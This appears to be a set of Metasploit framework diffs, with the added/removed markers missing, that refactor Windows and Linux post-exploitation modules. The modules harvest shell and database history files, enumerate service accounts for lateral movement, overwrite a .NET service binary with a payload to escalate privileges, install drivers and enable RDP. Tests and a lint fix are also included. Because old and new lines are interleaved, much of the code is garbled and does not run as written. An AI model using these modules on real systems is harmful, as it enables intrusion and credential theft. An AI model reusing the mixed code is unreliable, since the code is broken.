vprint_status("Extracting history for #{u}")
hist = cat_file("/root/.bash_history")
else
vprint_status("Extracting history for #{u}")
hist = cat_file("/home/#{u}/.bash_history")
end
save("History for #{u}", hist) unless hist.nil? || hist =~ /No such file or directory/
def get_home_dir(user)
home = execute("echo ~#{user}")
if home.empty?
if user == 'root'
home = '/root'
else
home = "/home/#{user}"
end
else
vprint_status("Extracting history for #{user}")
hist = cat_file("/home/#{user}/.bash_history")
vprint_status(hist)
save("History for #{user}", hist) unless hist.nil? || hist =~ /No such file or directory/
end
home
end
def get_sql_history(users, user)
if user == "root" and users != nil
users = users.chomp.split()
users.each do |u|
if u == "root"
vprint_status("Extracting SQL history for #{u}")
sql_hist = cat_file("/root/.mysql_history")
else
vprint_status("Extracting SQL history for #{u}")
sql_hist = cat_file("/home/#{u}/.mysql_history")
end
save("History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
end
else
vprint_status("Extracting SQL history for #{user}")
sql_hist = cat_file("/home/#{user}/.mysql_history")
vprint_status(sql_hist) if sql_hist
save("SQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
end
def get_shell_history(user, home, shell)
vprint_status("Extracting #{shell} history for #{user}")
hist = cat_file("#{home}/.#{shell}_history")
save("#{shell} history for #{user}", hist) unless hist.blank? || hist =~ /No such file or directory/
end
def get_vim_history(users, user)
if user == "root" and users != nil
users = users.chomp.split
users.each do |u|
if u == "root"
vprint_status("Extracting VIM history for #{u}")
vim_hist = cat_file("/root/.viminfo")
else
vprint_status("Extracting VIM history for #{u}")
vim_hist = cat_file("/home/#{u}/.viminfo")
end
save("VIM History for #{u}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
end
else
vprint_status("Extracting history for #{user}")
vim_hist = cat_file("/home/#{user}/.viminfo")
vprint_status(vim_hist)
save("VIM History for #{user}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
end
def get_mysql_history(user, home)
vprint_status("Extracting MySQL history for #{user}")
sql_hist = cat_file("#{home}/.mysql_history")
save("MySQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
end
def get_psql_history(user, home)
vprint_status("Extracting PostgreSQL history for #{user}")
sql_hist = cat_file("#{home}/.psql_history")
save("PostgreSQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
end
def get_mongodb_history(user, home)
vprint_status("Extracting MongoDB history for #{user}")
sql_hist = cat_file("#{home}/.dbshell")
save("MongoDB history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
end
def get_vim_history(user, home)
vprint_status("Extracting Vim history for #{user}")
vim_hist = cat_file("#{home}/.viminfo")
save("Vim history for #{user}", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/
end
end

View File

@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post
register_options(
[
OptString.new('DOMAIN', [true, 'Domain to do a fordward lookup bruteforce against.']),
OptString.new('DOMAIN', [true, 'Domain to do a forward lookup bruteforce against.']),
OptPath.new('NAMELIST',[true, "List of hostnames or subdomains to use.",
::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")])

View File

@ -8,6 +8,10 @@ require 'rex'
class Metasploit3 < Msf::Post
require 'msf/core/module/deprecated'
include Msf::Module::Deprecated
deprecated Date.new(2015, 1, 8), 'exploit/windows/local/service_permissions'
include Msf::Post::Windows::Services
def initialize(info={})
@ -39,7 +43,7 @@ class Metasploit3 < Msf::Post
def run
paths = []
services = []
candidate_services = []
vuln = ""
@temp = session.sys.config.getenv('TEMP')
@ -50,16 +54,16 @@ class Metasploit3 < Msf::Post
print_status("Checking for vulnerable .NET Framework Optimization service")
print_status("This may take a few minutes.")
# enumerate the installed .NET versions
service_list.each do |service|
if service =~ /clr_optimization_.*/
info = service_info(service)
paths << info['Command']
services << service
each_service do |service|
if service[:name] =~ /clr_optimization_.*/
info = service_info(service[:name])
paths << info[:path]
candidate_services << service[:name]
begin
service_stop(service) # temporarily stop the service
print_status("Found #{info['Name']} installed")
service_stop(service[:name]) # temporarily stop the service
print_status("Found #{service[:name]} installed")
rescue
print_error("We do not appear to have access to stop #{info['Name']}")
print_error("We do not appear to have access to stop #{service[:name]}")
end
else
next
@ -80,17 +84,13 @@ class Metasploit3 < Msf::Post
payload = setup_exploit
end
services.each do |service|
candidate_services.each do |service|
session.railgun.kernel32.CopyFileA(payload, vuln, false)
mng = session.railgun.advapi32.OpenSCManagerA(nil,nil,1)
if mng['return'].nil?
print_error("Cannot open service manager, not enough privileges")
return
end
# restart the service
status = service_start(service)
if status == 0
# restart the service
status = service_restart(service)
if status
print_status("Restarted #{service}")
else
print_error("Failed to restart #{service}")

View File

@ -48,7 +48,6 @@ class Metasploit3 < Msf::Post
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
#print_status("#{ret.inspect}")
len, addr = ret["pDataOut"].unpack("V2")
else
addr = [mem].pack("Q")

View File

@ -15,12 +15,14 @@ class Metasploit3 < Msf::Post
super(update_info(info,
'Name' => "Windows Gather Service Info Enumeration",
'Description' => %q{
This module will query the system for services and display name and configuration
info for each returned service. It allows you to optionally search the credentials, path,
or start type for a string and only return the results that match. These query operations
are cumulative and if no query strings are specified, it just returns all services.
NOTE: If the script hangs, windows firewall is most likely on and you did not
migrate to a safe process (explorer.exe for example).
This module will query the system for services and display name and
configuration info for each returned service. It allows you to
optionally search the credentials, path, or start type for a string
and only return the results that match. These query operations are
cumulative and if no query strings are specified, it just returns all
services. NOTE: If the script hangs, windows firewall is most likely
on and you did not migrate to a safe process (explorer.exe for
example).
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
@ -31,97 +33,100 @@ class Metasploit3 < Msf::Post
[
OptString.new('CRED', [ false, 'String to search credentials for' ]),
OptString.new('PATH', [ false, 'String to search path for' ]),
OptEnum.new('TYPE', [false, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]])
OptEnum.new('TYPE', [true, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]])
], self.class)
end
def run
# set vars
lootString = ""
credentialCount = {}
qcred = datastore["CRED"] || nil
qpath = datastore["PATH"] || nil
if datastore["TYPE"] == "All"
qtype = nil
else
qtype = datastore["TYPE"]
qtype = datastore["TYPE"].downcase
end
if qcred
qcred = qcred.downcase
print_status("Credential Filter: #{qcred}")
end
if qpath
qpath = qpath.downcase
print_status("Executable Path Filter: #{qpath}")
end
if qtype
print_status("Start Type Filter: #{qtype}")
end
if datastore['VERBOSE']
print_status("Listing Service Info for matching services:")
else
print_status("Detailed output is only printed when VERBOSE is set to True. Running this module can take some time.\n")
end
results_table = Rex::Ui::Text::Table.new(
'Header' => 'Services',
'Indent' => 1,
'SortIndex' => 0,
'Columns' => ['Name', 'Credentials', 'Command', 'Startup']
)
service_list.each do |sname|
print_status("Listing Service Info for matching services, please wait...")
service_list.each do |srv|
srv_conf = {}
isgood = true
# make sure we got a service name
if sname
if srv[:name]
begin
srv_conf = service_info(sname)
# filter service based on filters passed, the are cumulative
if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase
isgood = false
end
if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase
isgood = false
end
# There may not be a 'Startup', need to check nil
if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
isgood = false
end
# count the occurance of specific credentials services are running as
serviceCred = srv_conf['Credentials'].upcase
unless serviceCred.empty?
if credentialCount.has_key?(serviceCred)
credentialCount[serviceCred] += 1
else
credentialCount[serviceCred] = 1
# let the user know a new service account has been detected for possible lateral
# movement opportunities
print_good("New service credential detected: #{sname} is running as '#{srv_conf['Credentials']}'")
srv_conf = service_info(srv[:name])
if srv_conf[:startname]
# filter service based on filters passed, the are cumulative
if qcred && !srv_conf[:startname].downcase.include?(qcred)
next
end
if qpath && !srv_conf[:path].downcase.include?(qpath)
next
end
# There may not be a 'Startup', need to check nil
if qtype && !(START_TYPE[srv_conf[:starttype]] || '').downcase.include?(qtype)
next
end
# count the occurance of specific credentials services are running as
serviceCred = srv_conf[:startname].upcase
unless serviceCred.empty?
if credentialCount.has_key?(serviceCred)
credentialCount[serviceCred] += 1
else
credentialCount[serviceCred] = 1
# let the user know a new service account has been detected for possible lateral
# movement opportunities
print_good("New service credential detected: #{srv[:name]} is running as '#{srv_conf[:startname]}'")
end
end
results_table << [srv[:name],
srv_conf[:startname],
START_TYPE[srv_conf[:starttype]],
srv_conf[:path]]
end
# if we are still good return the info
if isgood
msgString = "\tName: #{sname}"
msgString << "\n\t\tStartup: #{srv_conf['Startup']}"
#remove invalid char at the end
commandString = srv_conf['Command']
commandString.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"")
msgString << "\n\t\t#{commandString}"
msgString << "\n\t\tCredentials: #{srv_conf['Credentials']}\n"
vprint_good(msgString)
lootString << msgString
end
rescue ::Exception => e
# July 3rd 2014 wchen-r7: Not very sure what exceptions this method is trying to rescue,
# probably the typical shut-everything-up coding habit. We'll have to fix this later,
# but for now let's at least print the error for debugging purposes
print_error("An error occured enumerating service: #{sname}")
print_error(e.to_s)
rescue RuntimeError => e
print_error("An error occurred enumerating service: #{srv[:name]}: #{e}")
end
else
print_error("Problem enumerating services (no service name found)")
print_error("Problem enumerating service - no service name found")
end
end
# store loot on completion of collection
p = store_loot("windows.services", "text/plain", session, lootString, "windows_services.txt", "Windows Services")
print_good("Loot file stored in: #{p.to_s}")
print_line results_table.to_s
# store loot on completion of collection
p = store_loot("windows.services", "text/plain", session, results_table.to_s, "windows_services.txt", "Windows Services")
print_good("Loot file stored in: #{p.to_s}")
end
end

View File

@ -56,9 +56,9 @@ class Metasploit3 < Msf::Post
def run
driver = datastore['DRIVER_PATH']
start = datastore['START_TYPE']
error = datastore['ERROR_TYPE']
service = datastore['SERVICE_TYPE']
start = START_TYPE[datastore['START_TYPE']]
error = ERROR_TYPE[datastore['ERROR_TYPE']]
service = SERVICE_TYPE[datastore['SERVICE_TYPE']]
name = datastore['DRIVER_NAME'].blank? ? Rex::Text.rand_text_alpha((rand(8)+6)) : datastore['DRIVER_NAME']
@ -77,9 +77,9 @@ class Metasploit3 < Msf::Post
return
end
inst = install_driver(driver: driver, start: start, name: name, error: error, service: service)
inst = install_driver(name, path: driver, starttype: start, error_control: error, service_type: service)
if inst
if inst == Windows::Error::SUCCESS
ss = service_start(name)
case ss
when Windows::Error::SUCCESS
@ -94,30 +94,19 @@ class Metasploit3 < Msf::Post
end
end
def install_driver(opts={})
service_all_access = 0xF01FF
service_type = SERVICE_TYPE[opts[:service]]
service_error_type = ERROR_TYPE[opts[:error]]
service_start_type = START_TYPE[opts[:start]]
advapi32 = client.railgun.advapi32
name = opts[:name]
# Default access: sc_manager_all_access (0xF003F)
ro = open_sc_manager()
def install_driver(name, opts={})
rc = service_create(name, opts)
rc = advapi32.CreateServiceA(ro, name, name, service_all_access, service_type, service_start_type, service_error_type, opts[:driver], nil, nil, nil, nil, nil)
close_sc_manager(ro)
if rc['GetLastError'] == Windows::Error::SUCCESS
if rc == Windows::Error::SUCCESS
print_status("Service object \"#{name}\" added to the Service Control Manager database.")
close_sc_manager(rc['return'])
return true
elsif rc['GetLastError'] == Windows::Error::SERVICE_EXISTS
elsif rc == Windows::Error::SERVICE_EXISTS
print_error("The specified service already exists.")
# Show ImagePath just to know if the service corresponds to the desired driver.
service = service_info(name)
print_error("Path of driver file in \"#{name}\" service: #{service["Command"]}.")
print_error("Path of driver file in \"#{name}\" service: #{service[:path]}.")
else
print_error("There was an error opening the driver handler. GetLastError=#{rc['GetLastError']}.")
print_error("There was an error opening the driver handler. GetLastError=#{rc}.")
end
return false
end

View File

@ -84,17 +84,20 @@ class Metasploit3 < Msf::Post
def enabletssrv(cleanup_rc)
rdp_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\TermService"
service_name = "termservice"
srv_info = service_info(service_name)
begin
v2 = registry_getvaldata(rdp_key,"Start")
print_status "Setting Terminal Services service startup mode"
if v2 != 2
if srv_info[:starttype] != START_TYPE_AUTO
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
service_change_startup("TermService","auto")
unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
print_error("\tUnable to change start type to Auto")
end
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
cmd_exec("sc", "start termservice", 30)
if (service_start(service_name) == Windows::Error::SUCCESS)
print_good("\tRDP Service Started")
end
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
else
print_status "\tTerminal Services service is already set to auto"
end

View File

@ -9,7 +9,7 @@ class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
include Msf::Post::Windows::WindowsServices
include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
def initialize(info={})
@ -41,16 +41,16 @@ class Metasploit3 < Msf::Post
serv = service_info("rpcapd")
print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")
if serv['Name'] !~ /remote/i
if serv[:display] !~ /remote/i
print_error("This machine doesn't seem to have the rpcapd service")
else
print_status("Rpcap service found: #{serv['Name']}")
reg=registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\rpcapd","Start")
# TODO: check if this works on x64
prog=session.sys.config.getenv('ProgramFiles') << "\\winpcap\\rpcapd.exe"
if reg != 2
print_status("Rpcap service found: #{serv[:display]}")
start_type = serv[:starttype]
prog = get_env('ProgramFiles') << "\\winpcap\\rpcapd.exe"
if start_type != START_TYPE_AUTO
print_status("Setting rpcapd as 'auto' service")
service_change_startup("rpcapd","auto")
service_change_startup("rpcapd", START_TYPE_AUTO)
end
if datastore['ACTIVE']==true
if datastore['RHOST']==nil
@ -76,22 +76,15 @@ class Metasploit3 < Msf::Post
end
def run_rpcapd(p)
service_name = "rpcapd"
begin
cmd_exec("sc","config rpcapd binpath= \"#{p}\" ",30)
result=service_start("rpcapd")
case result
when 0
print_good("Rpcapd started successfully: #{p}")
when 1
print_status("Rpcapd is already running. Restarting service ...")
if service_stop("rpcapd") and service_start("rpcapd")
print_good("Service restarted successfully: #{p}")
else
print_error("There was an error restarting rpcapd.exe. Try to run it again")
end
if service_restart(service_name)
print_good("Rpcapd started successfully: #{p}")
else
print_error("There was an error restarting rpcapd.exe.")
end
rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
rescue ::Exception => e
print_error("The following Error was encountered: #{e.class} #{e}")
end
end

View File

@ -98,7 +98,7 @@ class Metasploit3 < Msf::Post
end
result = client.railgun.netapi32.NetServerEnum(nil,101,4,-1,4,4,lookuptype,datastore['DOMAIN'],0)
# print_error(result.inspect)
if result['totalentries'] == 0
print_error("No systems found of that type")
return

View File

@ -1,6 +1,6 @@
##
#
# This plugin requires Metasploit: http//metasploit.com/download
# This plugin requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##

View File

@ -12,12 +12,33 @@ describe Metasploit::Framework::LoginScanner::Base do
end
}
subject(:login_scanner) { base_class.new }
let(:options) {
{
connection_timeout: 1,
cred_details: ["user", "pass"],
host: '1.2.3.4',
port: 4444,
stop_on_success: true,
bruteforce_speed: 5,
}
}
subject(:login_scanner) {
base_class.new(options)
}
it { should respond_to :bruteforce_speed }
context 'validations' do
it 'is valid!' do
expect(login_scanner).to be_valid
end
context 'bruteforce_speed' do
it 'is not valid for a non-number' do
login_scanner.bruteforce_speed = "a"
expect(login_scanner).to_not be_valid
@ -36,11 +57,17 @@ describe Metasploit::Framework::LoginScanner::Base do
expect(login_scanner.errors[:bruteforce_speed]).to include "must be greater than or equal to 0"
end
it 'is nil' do
login_scanner.bruteforce_speed = nil
expect(login_scanner).to be_valid
end
it 'is not greater than five' do
login_scanner.bruteforce_speed = "6"
expect(login_scanner).to_not be_valid
expect(login_scanner.errors[:bruteforce_speed]).to include "must be less than or equal to 5"
end
end
it { should respond_to :sleep_time }

View File

@ -91,6 +91,15 @@ describe Msf::HTTP::Wordpress::Version do
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
end
context 'when version from readme has arbitrary leading whitespace' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'stable tag: 1.0.0' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
let(:wp_body) { 'stable tag:1.0.0' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }

View File

@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
# =( need more targets and perhaps more OS specific return values OS specific would be preferred
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS
include Rex::Exploitation::CmdStagerVBS
def initialize(info = {})
super(update_info(info,

View File

@ -13,7 +13,6 @@ require 'module_test'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Services
include Msf::ModuleTest::PostTest
def initialize(info={})
@ -22,7 +21,6 @@ class Metasploit3 < Msf::Post
'Description' => %q{ This module will test windows services methods within a shell},
'License' => MSF_LICENSE,
'Author' => [ 'kernelsmith', 'egypt' ],
'Version' => '$Revision: 11663 $',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
))
@ -44,19 +42,19 @@ class Metasploit3 < Msf::Post
it "should start #{datastore["SSERVICE"]}" do
ret = true
results = service_start(datastore['SSERVICE'])
if results != 0
if results != Windows::Error::SUCCESS
# Failed the first time, try to stop it first, then try again
service_stop(datastore['SSERVICE'])
results = service_start(datastore['SSERVICE'])
end
ret &&= (results == 0)
ret &&= (results == Windows::Error::SUCCESS)
ret
end
it "should stop #{datastore["SSERVICE"]}" do
ret = true
results = service_stop(datastore['SSERVICE'])
ret &&= (results == 0)
ret &&= (results == Windows::Error::SUCCESS)
ret
end
@ -69,24 +67,24 @@ class Metasploit3 < Msf::Post
ret &&= results.kind_of? Array
ret &&= results.length > 0
ret &&= results.include? datastore["QSERVICE"]
ret &&= results.select{|service| service[:name] == datastore["QSERVICE"]}
ret
end
end
def test_info
it "should return info on a given service" do
it "should return info on a given service #{datastore["QSERVICE"]}" do
ret = true
results = service_info(datastore['QSERVICE'])
ret &&= results.kind_of? Hash
if ret
ret &&= results.has_key? "Name"
ret &&= (results["Name"] == "Windows Management Instrumentation")
ret &&= results.has_key? "Startup"
ret &&= results.has_key? "Command"
ret &&= results.has_key? "Credentials"
ret &&= results.has_key? :display
ret &&= (results[:display] == "Windows Management Instrumentation")
ret &&= results.has_key? :starttype
ret &&= results.has_key? :path
ret &&= results.has_key? :startname
end
ret
@ -94,40 +92,157 @@ class Metasploit3 < Msf::Post
end
def test_create
it "should create a service" do
it "should create a service #{datastore["NSERVICE"]}" do
mode = case datastore["MODE"]
when "disable"; 4
when "manual"; 3
when "auto"; 2
else; 2
when "disable"; START_TYPE_DISABLED
when "manual"; START_TYPE_MANUAL
when "auto"; START_TYPE_AUTO
else; START_TYPE AUTO
end
ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode)
ret
ret = service_create(datastore['NSERVICE'],
display: datastore['DNAME'],
path: datastore['BINPATH'],
starttype: mode)
ret == Windows::Error::SUCCESS
end
it "should return info on the newly-created service" do
it "should return info on the newly-created service #{datastore["NSERVICE"]}" do
ret = true
results = service_info(datastore['NSERVICE'])
ret &&= results.kind_of? Hash
ret &&= results.has_key? "Name"
ret &&= (results["Name"] == datastore["DNAME"])
ret &&= results.has_key? "Startup"
ret &&= (results["Startup"].downcase == datastore["MODE"])
ret &&= results.has_key? "Command"
ret &&= results.has_key? "Credentials"
ret &&= results.has_key? :display
ret &&= (results[:display] == datastore["DNAME"])
ret &&= results.has_key? :starttype
ret &&= (START_TYPE[results[:starttype]].downcase == datastore["MODE"])
ret &&= results.has_key? :path
ret &&= results.has_key? :startname
ret
end
it "should delete the new service" do
it "should delete the new service #{datastore["NSERVICE"]}" do
ret = service_delete(datastore['NSERVICE'])
ret == Windows::Error::SUCCESS
end
end
def test_status
it "should return status on a given service #{datastore["QSERVICE"]}" do
ret = true
results = service_status(datastore['QSERVICE'])
ret &&= results.kind_of? Hash
if ret
ret &&= results.has_key? :state
ret &&= (results[:state] > 0 && results[:state] < 8)
end
ret
end
end
def test_change
service_name = "a" << Rex::Text.rand_text_alpha(5)
display_name = service_name
it "should modify config on a given service #{service_name}" do
ret = true
results = service_create(service_name,
display: display_name,
path: datastore['BINPATH'],
starttype: START_TYPE_DISABLED)
ret &&= (results == Windows::Error::SUCCESS)
results = service_status(service_name)
ret &&= results.kind_of? Hash
if ret
original_display = results[:display]
results = service_change_config(service_name, {:display => Rex::Text.rand_text_alpha(5)})
ret &&= (results == Windows::Error::SUCCESS)
results = service_info(service_name)
ret &&= (results[:display] != original_display)
service_delete(service_name)
end
ret
end
end
def test_restart_disabled
service_name = "a" << Rex::Text.rand_text_alpha(5)
display_name = service_name
it "should start a disabled service #{service_name}" do
ret = true
results = service_create(service_name,
display: display_name,
path: datastore['BINPATH'],
starttype: START_TYPE_DISABLED)
ret &&= (results == Windows::Error::SUCCESS)
if ret
begin
results = service_restart(service_name)
ensure
service_delete(service_name)
end
ret &&= results
end
ret
end
end
def test_restart_start
service_name = datastore['SSERVICE']
it "should restart a started service #{service_name}" do
ret = true
results = service_start(service_name)
ret &&= (results == Windows::Error::SUCCESS)
if ret
results = service_restart(service_name)
ret &&= results
end
ret
end
end
def test_noaccess
it "should raise a runtime exception if no access to service" do
ret = false
begin
results = service_stop("gpsvc")
rescue RuntimeError
ret = true
end
ret
end
end
def test_no_service
it "should raise a runtime exception if services doesnt exist" do
ret = false
begin
results = service_status(Rex::Text.rand_text_alpha(5))
rescue RuntimeError
ret = true
end
ret
end
end
=begin
def run

View File

@ -593,7 +593,7 @@ class Msftidy
# This module then got copied and committed 20+ times and is used in numerous other places.
# This ensures that this stops.
def check_invalid_url_scheme
test = @source.scan(/^#.+http\/\/metasploit.com/)
test = @source.scan(/^#.+http\/\/(?:www\.)?metasploit.com/)
unless test.empty?
test.each { |item|
info("Invalid URL: #{item}")